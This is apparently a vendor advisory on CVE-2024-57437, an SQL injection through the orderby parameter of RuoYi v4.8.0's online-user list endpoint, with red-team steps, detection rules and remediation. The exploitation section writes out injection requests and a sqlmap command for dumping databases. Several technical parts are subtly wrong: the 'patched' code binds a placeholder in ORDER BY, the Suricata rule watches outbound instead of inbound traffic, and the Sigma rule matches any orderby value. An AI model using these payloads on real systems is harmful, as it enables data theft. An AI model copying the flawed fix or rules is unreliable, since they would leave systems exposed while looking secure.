CVE-2024-57437

Executive Summary

CVE-2024-57437 is a SQL injection vulnerability discovered in RuoYi v4.8.0, specifically within the /monitor/online/list endpoint. The flaw exists in the orderby parameter, allowing an authenticated attacker to manipulate SQL queries and potentially extract, modify, or delete sensitive data from the underlying database. This vulnerability poses a significant risk to the confidentiality, integrity, and availability of the affected system. As of this report, no official patch has been released, and the CVSS score is listed as 0.0, indicating incomplete scoring data. The EPSS score is 0.0%, suggesting low exploitation likelihood in the wild, but the presence of a public proof-of-concept (PoC) increases the risk for unpatched instances.

Supply Chain & Package Security

RuoYi is a popular open-source Java-based enterprise management system. The vulnerability is in the core application code, not in a third-party package. However, organizations using RuoYi should verify their version and apply any available security updates or mitigations.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or error. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Threat Level: High. The vulnerability is easy to exploit, requires low privileges, and can lead to full database compromise.

Deep Dive & Mechanics

The vulnerability resides in the /monitor/online/list endpoint of RuoYi v4.8.0. This endpoint is used to list currently online users. The orderby parameter is used to sort the results, but it is not properly sanitized before being incorporated into a SQL query.

Root Cause: The application directly concatenates user-supplied input into a SQL ORDER BY clause without proper validation or parameterization. This allows an attacker to inject arbitrary SQL commands.

Attack Vector: An authenticated attacker sends a crafted HTTP request to the vulnerable endpoint with a malicious orderby parameter. For example:

GET /monitor/online/list?orderby=1;SELECT+*+FROM+sys_user--

This could result in the execution of arbitrary SQL statements.

Impact: Successful exploitation can lead to:

• Unauthorized access to sensitive data (user credentials, personal information, business data).
• Data manipulation or deletion.
• Potential escalation to remote code execution if the database server has additional capabilities (e.g., xp_cmdshell in SQL Server).

Vulnerable vs. Patched Code

Vulnerable Code (RuoYi v4.8.0): The vulnerable code likely resides in a controller or service class that handles the /monitor/online/list request. A simplified example:

// Vulnerable: Direct concatenation
String sql = "SELECT * FROM sys_user_online ORDER BY " + orderBy;

Patched Code (Hypothetical): A secure implementation would use parameterized queries or whitelist validation:

// Patched: Use parameterized query or whitelist
String sql = "SELECT * FROM sys_user_online ORDER BY ?";
// Or
List<String> allowedColumns = Arrays.asList("login_name", "ipaddr", "browser");
if (allowedColumns.contains(orderBy)) {
    String sql = "SELECT * FROM sys_user_online ORDER BY " + orderBy;
}

Note: As of this report, no official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• RuoYi v4.8.0 instance with a valid user account.
• Network access to the /monitor/online/list endpoint.

Exploitation Steps:

1. Authenticate to the RuoYi application and obtain a valid session cookie.
2. Craft a malicious request to the vulnerable endpoint:

   GET /monitor/online/list?orderby=1;SELECT+*+FROM+sys_user-- HTTP/1.1
   Host: target.com
   Cookie: JSESSIONID=valid_session_id
   

3. Use SQL injection techniques to extract data. For example, using UNION-based injection:

   GET /monitor/online/list?orderby=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100-- HTTP/1.1
   

4. Use automated tools like sqlmap for efficient exploitation:

   sqlmap -u "http://target.com/monitor/online/list?orderby=1" --cookie="JSESSIONID=valid_session_id" --batch --dbs
   

Lab Setup:

• Deploy RuoYi v4.8.0 using Docker or manual installation.
• Create a test user account.
• Use Burp Suite or similar tool to intercept and modify requests.

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL errors in application logs.
• Look for suspicious patterns in the orderby parameter (e.g., SQL keywords, UNION, SELECT).
• Implement Web Application Firewall (WAF) rules to block SQL injection attempts.

Mitigation:

• Apply input validation and parameterized queries.
• Restrict database user permissions to limit the impact of SQL injection.
• Monitor for unauthorized data access or modification.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /monitor/online/list with unusual orderby parameter values containing SQL keywords (e.g., UNION, SELECT, --, ;).
• Anomalous database queries originating from the application server.

File IOCs:

• Modified application logs containing SQL error messages.
• Unexpected files created in the application directory (e.g., webshells).

System IOCs:

• Unusual database connections or queries.
• Elevated privileges or new user accounts.

Detection Engineering

YARA Rule

rule CVE_2024_57437_RuoYi_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting RuoYi orderby parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57437"
    strings:
        $sqli1 = "orderby=" nocase
        $sqli2 = "UNION" nocase
        $sqli3 = "SELECT" nocase
        $sqli4 = "DROP" nocase
        $sqli5 = "1=1" nocase
    condition:
        $sqli1 and any of ($sqli2, $sqli3, $sqli4, $sqli5)
}

Sigma Rule

title: RuoYi SQL Injection via orderby Parameter
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects SQL injection attempts against RuoYi /monitor/online/list endpoint
author: Valters IT
date: 2025/04/10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57437
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "orderby="
            - "UNION"
            - "SELECT"
            - "DROP"
            - "1=1"
    condition: selection
falsepositives:
    - Legitimate use of orderby with allowed values
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-57437 RuoYi SQL Injection Attempt"; flow:to_server,established; content:"/monitor/online/list"; http_uri; content:"orderby="; http_uri; pcre:"/(UNION|SELECT|DROP|1=1)/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately.
2. Input Validation: Implement strict input validation for the orderby parameter. Only allow predefined, safe values (e.g., "login_name", "ipaddr", "browser").
3. Parameterized Queries: Rewrite the vulnerable code to use parameterized queries or prepared statements.
4. WAF Rules: Deploy WAF rules to block SQL injection patterns.

Long-term Measures:

• Conduct regular security audits and code reviews.
• Implement a robust security development lifecycle (SDLC).
• Use database activity monitoring to detect anomalous queries.

Workaround:

• If immediate patching is not possible, disable the /monitor/online/list endpoint or restrict access to trusted IP addresses only.

Valters IT
Securing Digital Frontiers